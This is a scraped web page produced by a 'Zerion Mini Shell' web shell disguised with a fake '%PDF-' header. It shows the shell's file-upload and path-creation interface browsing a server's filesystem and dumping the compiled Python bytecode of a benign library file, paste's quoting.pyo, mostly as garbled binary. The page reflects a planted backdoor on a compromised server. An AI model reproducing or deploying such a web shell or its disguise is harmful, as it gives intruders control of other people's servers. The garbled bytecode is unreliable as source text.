%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/paste/util/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib/python2.7/site-packages/paste/util/quoting.pyo

�
b�Nc@s�ddlZddlZddlZddlZdddddgZdZdd�Zejd	�Z	ej
d
�Zdd�Zd�Z
d
�Zejd�Zejd�Zd�ZejZejZedkr�ddlZej�ndS(i����Nt
html_quotethtml_unquotet	url_quoteturl_unquotet
strip_htmlsUTF-8cCs�|p	t}|dkrdSt|t�r;tj|d�St|t�rctj|j|�d�Stjt|�j|�d�SdS(s�
    Quote the value (turned to a string) as HTML.  This quotes <, >,
    and quotes:

    >>> html_quote(1)
    '1'
    >>> html_quote(None)
    ''
    >>> html_quote('<hey!>')
    '&lt;hey!&gt;'
    >>> html_quote(u'\u1029')
    '\xe1\x80\xa9'
    tiN(tdefault_encodingtNonet
isinstancetstrtcgitescapetunicodetencode(tvtencoding((sC/opt/alt/python27/lib/python2.7/site-packages/paste/util/quoting.pyRss
&([a-zA-Z]+);cCs9|j|jd��}|r(t|�S|jd�SdS(Nii(tgettgrouptunichr(tmatchtname2ctcode((sC/opt/alt/python27/lib/python2.7/site-packages/paste/util/quoting.pyt_entity_subber's
cCsGt|t�r7|dkrdS|j|p.t�}ntjt|�S(s�
    Decode the value.

    >>> html_unquote('&lt;hey&nbsp;you&gt;')
    u'<hey\xa0you>'
    >>> html_unquote('')
    u''
    >>> html_unquote('&blahblah;')
    u'&blahblah;'
    >>> html_unquote('\xe1\x80\xa9')
    u'\u1029'
    Ru(RR	tdecodeRt_unquote_retsubR(tsR((sC/opt/alt/python27/lib/python2.7/site-packages/paste/util/quoting.pyR.s

cCs%tjdd|�}t|�}|S(Ns<.*?>R(treRR(R((sC/opt/alt/python27/lib/python2.7/site-packages/paste/util/quoting.pyRCscCs|S(s*
    Quoting that doesn't do anything
    ((R((sC/opt/alt/python27/lib/python2.7/site-packages/paste/util/quoting.pytno_quoteIss\-\s*\>s[---]cCs"t|�}tjd|�}|S(s;
    Quote that makes sure text can't escape a comment
    s-&gt;(R	t_comment_quote_reR(Rtcomment((sC/opt/alt/python27/lib/python2.7/site-packages/paste/util/quoting.pyt
comment_quoteRst__main__(R
thtmlentitydefsturllibRt__all__RRRtcompileRtname2codepointRRRRRt
_bad_chars_reRtquoteRtunquoteRt__name__tdoctestttestmod(((sC/opt/alt/python27/lib/python2.7/site-packages/paste/util/quoting.pyt<module>s(						

Zerion Mini Shell 1.0